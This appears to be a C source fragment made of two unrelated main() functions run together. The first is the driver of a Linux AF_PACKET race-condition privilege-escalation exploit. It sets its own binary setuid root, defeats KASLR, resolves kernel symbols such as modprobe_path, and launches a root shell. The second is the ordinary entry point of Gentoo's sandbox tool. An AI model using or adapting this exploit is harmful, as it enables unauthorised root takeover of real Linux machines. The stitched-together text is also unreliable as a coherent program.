int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
chmod("/proc/self/exe", 06755);
exit(0);
}
if (getuid() != 0 && geteuid() == 0) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash", "bash", "-p", NULL);
exit(0);
}
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
dprintf("[.] checking kernel version\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
pid = fork();
if (pid == 0) {
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}
int main(int argc, char **argv)
{
struct sigaction act_new;
int sandbox_log_presence = 0;
struct sandbox_info_t sandbox_info;
char **sandbox_environ;
char **argv_bash = NULL;
char *run_str = "-c";
/* Only print info if called with no arguments .... */
if (argc < 2)
print_debug = 1;
else {
/* handle a few common options */
if (!strcmp(argv[1], "--version") || !strcmp(argv[1], "-V")) {
puts(
"Gentoo path sandbox\n"
" version: " PACKAGE_VERSION "\n"
" C lib: " LIBC_VERSION " (" LIBC_PATH ")\n"
" build: " __DATE__ " " __TIME__ "\n"
" contact: " PACKAGE_BUGREPORT " via http://bugs.gentoo.org/\n"
" rtld: "
#ifdef BROKEN_RTLD_NEXT
"next is broken ;(\n"
#else
"next is OK! :D\n"
#endif
#ifndef SB_SCHIZO
# define SB_SCHIZO "no"
#endif
" schizo: " SB_SCHIZO "\n"
"\nconfigured with these options:\n"
SANDBOX_CONFIGURE_OPTS
);
return 0;
} else if (!strcmp(argv[1], "--help") || !strcmp(argv[1], "-h")) {
puts(
"Usage: sandbox [program [program args...]]\n"
"\n"
"Sandbox will start up a sandbox session and execute the specified program.\n"
"If no program is specified, an interactive shell is automatically launched.\n"
"You can use this to quickly test out sandbox behavior.\n"
"\n"
"Upon startup, initial settings are taken from these files / directories:\n"
"\t" SANDBOX_CONF_FILE "\n"
"\t" SANDBOX_CONFD_DIR "\n"
"\n"
"Contact: " PACKAGE_BUGREPORT " via http://bugs.gentoo.org/"
);
return 0;
}
}
dputs(sandbox_banner);
/* check if a sandbox is already running */
if (!is_env_on(ENV_SANDBOX_TESTING))
if (NULL != getenv(ENV_SANDBOX_ACTIVE))
sb_err("not launching a new sandbox as one is already running in this process hierarchy");
/* determine the location of all the sandbox support files */
dputs("Detection of the support files.");
if (-1 == setup_sandbox(&sandbox_info, print_debug))
sb_err("failed to setup sandbox");
/* verify the existance of required files */
dputs("Verification of the required files.");
if (!rc_file_exists(sandbox_info.sandbox_rc))
sb_perr("could not open the sandbox rc file: %s", sandbox_info.sandbox_rc);
/* set up the required environment variables */
dputs("Setting up the required environment variables.");
/* If not in portage, cd into it work directory */
if ('\0' != sandbox_info.work_dir[0])
if (chdir(sandbox_info.work_dir))
sb_perr("chdir(%s) failed", sandbox_info.work_dir);
/* Setup the child environment stuff.
* XXX: We free this in spawn_shell(). */
sandbox_environ = setup_environ(&sandbox_info, print_debug);
if (NULL == sandbox_environ)
goto oom_error;
/* Setup bash argv */
str_list_add_item_copy(argv_bash, "/bin/bash", oom_error);
str_list_add_item_copy(argv_bash, "-rcfile", oom_error);
str_list_add_item_copy(argv_bash, sandbox_info.sandbox_rc, oom_error);
if (argc >= 2) {
int i;
str_list_add_item_copy(argv_bash, run_str, oom_error);
str_list_add_item_copy(argv_bash, argv[1], oom_error);
for (i = 2; i < argc; i++) {
char *tmp_ptr;
tmp_ptr = xrealloc(argv_bash[4],
(strlen(argv_bash[4]) +
strlen(argv[i]) + 2) *
sizeof(char));
argv_bash[4] = tmp_ptr;
snprintf(argv_bash[4] + strlen(argv_bash[4]),
strlen(argv[i]) + 2, " %s",
argv[i]);
}
}
/* set up the required signal handlers ... but allow SIGHUP to be
* ignored in case people are running `nohup ...` #217898
*/
if (signal(SIGHUP, &stop) == SIG_IGN)
signal(SIGHUP, SIG_IGN);
#define wsignal(sig, act) \
do { \
sighandler_t _old = signal(sig, act); \
if (_old == SIG_ERR) \
sb_pwarn("unable to bind signal %s", #sig); \
else if (_old != SIG_DFL && _old != SIG_IGN) \
sb_warn("signal %s already had a handler ...", #sig); \
} while (0)
wsignal(SIGINT, &stop);
wsignal(SIGQUIT, &stop);
wsignal(SIGTERM, &stop);
act_new.sa_sigaction = usr1_handler;
sigemptyset (&act_new.sa_mask);
act_new.sa_flags = SA_SIGINFO | SA_RESTART;
sigaction (SIGUSR1, &act_new, NULL);
/* STARTING PROTECTED ENVIRONMENT */
dputs("The protected environment has been started.");
dputs(sandbox_footer);
dputs("Process being started in forked instance.");
/* Start Bash */
int shell_exit = spawn_shell(argv_bash, sandbox_environ, print_debug);
/* As spawn_shell() free both argv_bash and sandbox_environ, make sure
* we do not run into issues in future if we need a OOM error below
* this ... */
argv_bash = NULL;
sandbox_environ = NULL;
dputs("Cleaning up sandbox process");
dputs(sandbox_banner);
dputs("The protected environment has been shut down.");
if (rc_file_exists(sandbox_info.sandbox_log)) {
sandbox_log_presence = 1;
print_sandbox_log(sandbox_info.sandbox_log);
} else
dputs(sandbox_footer);
if (!is_env_on(ENV_SANDBOX_TESTING))
if (sandbox_log_presence && shell_exit == 0)
shell_exit = 1;
return shell_exit;
oom_error:
if (NULL != argv_bash)
str_list_free(argv_bash);
sb_perr("out of memory (environ)");
}